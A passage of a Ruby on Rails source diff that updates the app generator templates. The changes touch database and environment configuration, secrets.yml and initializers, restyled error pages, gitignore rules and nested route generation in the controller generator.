-# gem 'activerecord-sqlserver-adapter'
+# gem 'tiny_tds'
+# gem 'activerecord-sqlserver-adapter'
#
-# You should make sure freetds is configured correctly first.
-# freetds.conf contains host/port/protocol_versions settings.
+# You should make sure freetds is configured correctly first.
+# freetds.conf contains host/port/protocol_versions settings.
# http://freetds.schemamania.org/userguide/freetdsconf.htm
#
# A typical Microsoft server
-# [mssql]
+# [mssql]
# host = mssqlserver.yourdomain.com
-# port = 1433
-# tds version = 7.1
+# port = 1433
+# tds version = 7.1
# If you can connect with "tsql -S servername", your basic FreeTDS installation is working.
# 'man tsql' for more info
# Set timeout to a larger number if valid queries against a live db fail
-
-development:
+#
+default: &default
adapter: sqlserver
encoding: utf8
reconnect: false
- database: <%= app_name %>_development
username: <%= app_name %>
password:
timeout: 25
dataserver: from_freetds.conf
+development:
+ <<: *default
+ database: <%= app_name %>_development
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: sqlserver
- encoding: utf8
- reconnect: false
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password:
- timeout: 25
- dataserver: from_freetds.conf
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="sqlserver://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: sqlserver
- encoding: utf8
- reconnect: false
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password:
- timeout: 25
- dataserver: from_freetds.conf
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
index e080ebd74e..ee8d90dc65 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environment.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
@@ -1,5 +1,5 @@
-# Load the rails application.
+# Load the Rails application.
require File.expand_path('../application', __FILE__)
-# Initialize the rails application.
-<%= app_const %>.initialize!
+# Initialize the Rails application.
+Rails.application.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index bd0a0d44b8..d8326d1728 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -1,4 +1,4 @@
-<%= app_const %>.configure do
+Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
@@ -19,20 +19,27 @@
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
- # Only use best-standards-support built into browsers.
- config.action_dispatch.best_standards_support = :builtin
-
<%- unless options.skip_active_record? -%>
- # Log the query plan for queries taking more than this (works
- # with SQLite, MySQL, and PostgreSQL).
- config.active_record.auto_explain_threshold_in_seconds = 0.5
-
- # Raise an error on page load if there are pending migrations
+ # Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
- <%- end -%>
+ <%- end -%>
<%- unless options.skip_sprockets? -%>
# Debug mode disables concatenation and preprocessing of assets.
+ # This option may cause significant delays in view rendering with a large
+ # number of complex assets.
config.assets.debug = true
+
+ # Asset digests allow you to set far-future HTTP expiration dates on all assets,
+ # yet still be able to expire them through the digest params.
+ config.assets.digest = true
+
+ # Adds additional error checking when serving assets at runtime.
+ # Checks for improperly declared sprockets dependencies.
+ # Raises helpful error messages.
+ config.assets.raise_runtime_errors = true
<%- end -%>
+
+ # Raises error for missing translations
+ # config.action_view.raise_on_missing_translations = true
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 593d2acfc7..ddc04d446c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -1,11 +1,11 @@
-<%= app_const %>.configure do
+Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
- # your application in memory, allowing both thread web servers
+ # your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
@@ -16,33 +16,38 @@
# Enable Rack::Cache to put a simple HTTP cache in front of your application
# Add `rack-cache` to your Gemfile before enabling this.
- # For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid.
+ # For large-scale production use, consider using a caching reverse proxy like
+ # NGINX, varnish or squid.
# config.action_dispatch.rack_cache = true
- # Disable Rails's static asset server (Apache or nginx will already do this).
+ # Disable Rails's static asset server (Apache or NGINX will already do this).
config.serve_static_assets = false
<%- unless options.skip_sprockets? -%>
# Compress JavaScripts and CSS.
- config.assets.js_compressor = :uglifier
+ config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :sass
- # Whether to fallback to assets pipeline if a precompiled asset is missed.
+ # Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
- # Generate digests for assets URLs.
+ # Asset digests allow you to set far-future HTTP expiration dates on all assets,
+ # yet still be able to expire them through the digest params.
config.assets.digest = true
+
+ # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
<%- end -%>
# Specifies the header that your server uses for sending files.
- # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
- # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+ # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
+ # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
- # Set to :debug to see everything in the log.
- config.log_level = :info
+ # Use the lowest log level to ensure availability of diagnostic information
+ # when problems arise.
+ config.log_level = :debug
# Prepend all log lines with the following tags.
# config.log_tags = [ :subdomain, :uuid ]
@@ -54,38 +59,24 @@
# config.cache_store = :mem_cache_store
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
- # config.action_controller.asset_host = "http://assets.example.com"
-
- <%- unless options.skip_sprockets? -%>
- # Precompile additional assets.
- # application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
- # config.assets.precompile += %w( search.js )
- <%- end -%>
+ # config.action_controller.asset_host = 'http://assets.example.com'
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found).
+ # the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
- <%- unless options.skip_active_record? -%>
- # Log the query plan for queries taking more than this (works
- # with SQLite, MySQL, and PostgreSQL).
- # config.active_record.auto_explain_threshold_in_seconds = 0.5
- <%- end -%>
-
- # Disable automatic flushing of the log to improve performance.
- # config.autoflush_log = false
-
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
+ <%- unless options.skip_active_record? -%>
- # Default the production mode queue to an synchronous queue. You will probably
- # want to replace this with an out-of-process queueing solution.
- # config.queue = ActiveSupport::SynchronousQueue.new
+ # Do not dump schema after migrations.
+ config.active_record.dump_schema_after_migration = false
+ <%- end -%>
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index a5ef0cd9cd..03a3568fbe 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -1,4 +1,4 @@
-<%= app_const %>.configure do
+Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# The test environment is used exclusively to run your application's
@@ -13,8 +13,8 @@
config.eager_load = false
# Configure static asset server for tests with Cache-Control for performance.
- config.serve_static_assets = true
- config.static_cache_control = "public, max-age=3600"
+ config.serve_static_assets = true
+ config.static_cache_control = 'public, max-age=3600'
# Show full error reports and disable caching.
config.consider_all_requests_local = true
@@ -31,9 +31,12 @@
# ActionMailer::Base.deliveries array.
config.action_mailer.delivery_method = :test
+ # Randomize the order test cases are executed.
+ config.active_support.test_order = :random
+
# Print deprecation notices to the stderr.
config.active_support.deprecation = :stderr
- # Use the synchronous queue to run jobs immediately.
- config.queue = ActiveSupport::SynchronousQueue.new
+ # Raises error for missing translations
+ # config.action_view.raise_on_missing_translations = true
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
new file mode 100644
index 0000000000..01ef3e6630
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
@@ -0,0 +1,11 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = '1.0'
+
+# Add additional assets to the asset load path
+# Rails.application.config.assets.paths << Emoji.images_path
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
+# Rails.application.config.assets.precompile += %w( search.js )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
new file mode 100644
index 0000000000..7f70458dee
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
@@ -0,0 +1,3 @@
+# Be sure to restart your server when you modify this file.
+
+Rails.application.config.action_dispatch.cookies_serializer = :json
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000000..4a994e1e7b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,4 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure sensitive parameters which will be filtered from the log file.
+Rails.application.config.filter_parameters += [:password]
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
index 9262c3379f..ac033bf9dc 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
@@ -9,7 +9,7 @@
# inflect.irregular 'person', 'people'
# inflect.uncountable %w( fish sheep )
# end
-#
+
# These inflection rules are supported but not enabled by default:
# ActiveSupport::Inflector.inflections(:en) do |inflect|
# inflect.acronym 'RESTful'
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/locale.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/locale.rb
deleted file mode 100644
index a8285f88ca..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/locale.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
-# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
-# Rails.application.config.time_zone = 'Central Time (US & Canada)'
-
-# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
-# Rails.application.config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
-# Rails.application.config.i18n.default_locale = :de
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
index 72aca7e441..dc1899682b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
@@ -2,4 +2,3 @@
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
deleted file mode 100644
index e5caab3672..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ /dev/null
@@ -1,12 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-# You can use `rake secret` to generate a secure secret key.
-
-# Make sure your secret_key_base is kept private
-# if you're sharing your code publicly.
-<%= app_const %>.config.secret_key_base = '<%= app_secret %>'
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
index df07de9922..2bb9b82c61 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
@@ -1,3 +1,3 @@
# Be sure to restart your server when you modify this file.
-<%= app_const %>.config.session_store :encrypted_cookie_store, key: <%= "'_#{app_name}_session'" %>
+Rails.application.config.session_store :cookie_store, key: <%= "'_#{app_name}_session'" %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
index 280f777cc0..f2110c2c70 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
@@ -1,5 +1,5 @@
# Be sure to restart your server when you modify this file.
-#
+
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.
@@ -7,8 +7,8 @@
ActiveSupport.on_load(:action_controller) do
wrap_parameters format: [:json] if respond_to?(:wrap_parameters)
end
-
<%- unless options.skip_active_record? -%>
+
# To enable root element in JSON for ActiveRecord objects.
# ActiveSupport.on_load(:active_record) do
# self.include_root_in_json = true
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
index 22a6aeb5fe..3f66539d54 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
@@ -1,9 +1,9 @@
-<%= app_const %>.routes.draw do
+Rails.application.routes.draw do
# The priority is based upon order of creation: first created -> highest priority.
# See how all your routes lay out with "rake routes".
# You can have the root of your site routed with "root"
- # root to: 'welcome#index'
+ # root 'welcome#index'
# Example of regular route:
# get 'products/:id' => 'catalog#view'
@@ -40,6 +40,13 @@
# end
# end
+ # Example resource route with concerns:
+ # concern :toggleable do
+ # post 'toggle'
+ # end
+ # resources :posts, concerns: :toggleable
+ # resources :photos, concerns: :toggleable
+
# Example resource route within a namespace:
# namespace :admin do
# # Directs /admin/products/* to Admin::ProductsController
diff --git a/railties/lib/rails/generators/rails/app/templates/config/secrets.yml b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
new file mode 100644
index 0000000000..b2669a0f79
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
@@ -0,0 +1,22 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+ secret_key_base: <%= app_secret %>
+
+test:
+ secret_key_base: <%= app_secret %>
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+ secret_key_base: <%%= ENV["SECRET_KEY_BASE"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/doc/README_FOR_APP b/railties/lib/rails/generators/rails/app/templates/doc/README_FOR_APP
deleted file mode 100644
index fe41f5cc24..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/doc/README_FOR_APP
+++ /dev/null
@@ -1,2 +0,0 @@
-Use this README file to introduce your application and point to useful places in the API for learning more.
-Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries.
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
index 52abb32479..7c6f2098b8 100644
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -1,16 +1,19 @@
-# See http://help.github.com/ignore-files/ for more about ignoring files.
+# See https://help.github.com/articles/ignoring-files for more about ignoring files.
#
# If you find yourself ignoring temporary files generated by your text editor
# or operating system, you probably want to add a global ignore instead:
# git config --global core.excludesfile '~/.gitignore_global'
-# Ignore bundler config
+# Ignore bundler config.
/.bundle
+<% if sqlite3? -%>
# Ignore the default SQLite database.
/db/*.sqlite3
/db/*.sqlite3-journal
+<% end -%>
# Ignore all logfiles and tempfiles.
-/log/*.log
+/log/*
+!/log/.keep
/tmp
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
index 3d875c342e..b612547fc2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -2,26 +2,66 @@
<html>
<head>
<title>The page you were looking for doesn't exist (404)</title>
+ <meta name="viewport" content="width=device-width,initial-scale=1">
<style>
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ margin: 0;
+ }
+
+ div.dialog {
+ width: 95%;
+ max-width: 33em;
+ margin: 4em auto 0;
+ }
+
+ div.dialog > div {
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 12% 0;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ div.dialog > p {
+ margin: 0 0 1em;
+ padding: 1em;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
</style>
</head>
<body>
<!-- This file lives in public/404.html -->
<div class="dialog">
- <h1>The page you were looking for doesn't exist.</h1>
- <p>You may have mistyped the address or the page may have moved.</p>
+ <div>
+ <h1>The page you were looking for doesn't exist.</h1>
+ <p>You may have mistyped the address or the page may have moved.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
</div>
- <p>If you are the application owner check the logs for more information.</p>
</body>
</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
index 3f1bfb3417..a21f82b3bd 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -2,25 +2,66 @@
<html>
<head>
<title>The change you wanted was rejected (422)</title>
+ <meta name="viewport" content="width=device-width,initial-scale=1">
<style>
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ margin: 0;
+ }
+
+ div.dialog {
+ width: 95%;
+ max-width: 33em;
+ margin: 4em auto 0;
+ }
+
+ div.dialog > div {
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 12% 0;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ div.dialog > p {
+ margin: 0 0 1em;
+ padding: 1em;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
</style>
</head>
<body>
<!-- This file lives in public/422.html -->
<div class="dialog">
- <h1>The change you wanted was rejected.</h1>
- <p>Maybe you tried to change something you didn't have access to.</p>
+ <div>
+ <h1>The change you wanted was rejected.</h1>
+ <p>Maybe you tried to change something you didn't have access to.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
</div>
</body>
</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index 012977d3d2..061abc587d 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -2,25 +2,65 @@
<html>
<head>
<title>We're sorry, but something went wrong (500)</title>
+ <meta name="viewport" content="width=device-width,initial-scale=1">
<style>
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ margin: 0;
+ }
+
+ div.dialog {
+ width: 95%;
+ max-width: 33em;
+ margin: 4em auto 0;
+ }
+
+ div.dialog > div {
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 12% 0;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ div.dialog > p {
+ margin: 0 0 1em;
+ padding: 1em;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
</style>
</head>
<body>
<!-- This file lives in public/500.html -->
<div class="dialog">
- <h1>We're sorry, but something went wrong.</h1>
+ <div>
+ <h1>We're sorry, but something went wrong.</h1>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
</div>
- <p>If you are the application owner check the logs for more information.</p>
</body>
</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 1a3a5e4dd2..3c9c7c01f3 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1,4 +1,4 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-agent: *
diff --git a/railties/lib/rails/generators/rails/app/templates/public/stylesheets/.empty_directory b/railties/lib/rails/generators/rails/app/templates/public/stylesheets/.empty_directory
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/public/stylesheets/.empty_directory
+++ /dev/null
diff --git a/railties/lib/rails/generators/rails/app/templates/script/rails b/railties/lib/rails/generators/rails/app/templates/script/rails
deleted file mode 100644
index 11bc1edde9..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/script/rails
+++ /dev/null
@@ -1,5 +0,0 @@
-# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application.
-
-APP_PATH = File.expand_path('../../config/application', __FILE__)
-require File.expand_path('../../config/boot', __FILE__)
-require 'rails/commands'
diff --git a/railties/lib/rails/generators/rails/app/templates/test/fixtures/.empty_directory b/railties/lib/rails/generators/rails/app/templates/test/fixtures/.empty_directory
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/test/fixtures/.empty_directory
+++ /dev/null
diff --git a/railties/lib/rails/generators/rails/app/templates/test/functional/.empty_directory b/railties/lib/rails/generators/rails/app/templates/test/functional/.empty_directory
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/test/functional/.empty_directory
+++ /dev/null
diff --git a/railties/lib/rails/generators/rails/app/templates/test/integration/.empty_directory b/railties/lib/rails/generators/rails/app/templates/test/integration/.empty_directory
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/test/integration/.empty_directory
+++ /dev/null
diff --git a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
deleted file mode 100644
index d09ce5ad34..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class BrowsingTest < ActionDispatch::PerformanceTest
- # Refer to the documentation for all available options
- # self.profile_options = { runs: 5, metrics: [:wall_time, :memory],
- # output: 'tmp/performance', formats: [:flat] }
-
- test "homepage" do
- get '/'
- end
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
index 9afda2d0df..87b8fe3516 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -1,15 +1,10 @@
-ENV["RAILS_ENV"] = "test"
+ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../../config/environment', __FILE__)
require 'rails/test_help'
class ActiveSupport::TestCase
<% unless options[:skip_active_record] -%>
- ActiveRecord::Migration.check_pending!
-
# Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
- #
- # Note: You'll currently still have to declare fixtures explicitly in integration tests
- # -- they do not yet inherit this setting
fixtures :all
<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/test/unit/.empty_directory b/railties/lib/rails/generators/rails/app/templates/test/unit/.empty_directory
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/test/unit/.empty_directory
+++ /dev/null
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/rails/generators/rails/controller/USAGE
index 9def4af65c..64239ad599 100644
--- a/railties/lib/rails/generators/rails/controller/USAGE
+++ b/railties/lib/rails/generators/rails/controller/USAGE
@@ -6,7 +6,7 @@ Description:
path like 'parent_module/controller_name'.
This generates a controller class in app/controllers and invokes helper,
- template engine and test framework generators.
+ template engine, assets, and test framework generators.
Example:
`rails generate controller CreditCards open debit credit close`
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb
index bae54623c6..df615c88b5 100644
--- a/railties/lib/rails/generators/rails/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb
@@ -2,6 +2,8 @@ module Rails
module Generators
class ControllerGenerator < NamedBase # :nodoc:
argument :actions, type: :array, default: [], banner: "action action"
+ class_option :skip_routes, type: :boolean, desc: "Don't add routes to config/routes.rb."
+
check_class_collision suffix: "Controller"
def create_controller_files
@@ -9,12 +11,48 @@ module Rails
end
def add_routes
- actions.reverse.each do |action|
- route %{get "#{file_name}/#{action}"}
+ unless options[:skip_routes]
+ actions.reverse_each do |action|
+ route generate_routing_code(action)
+ end
end
end
hook_for :template_engine, :test_framework, :helper, :assets
+
+ private
+
+ # This method creates nested route entry for namespaced resources.
+ # For eg. rails g controller foo/bar/baz index
+ # Will generate -
+ # namespace :foo do
+ # namespace :bar do
+ # get 'baz/index'
+ # end
+ # end
+ def generate_routing_code(action)
+ depth = regular_class_path.length
+ # Create 'namespace' ladder
+ # namespace :foo do
+ # namespace :bar do
+ namespace_ladder = regular_class_path.each_with_index.map do |ns, i|
+ indent("namespace :#{ns} do\n", i * 2)
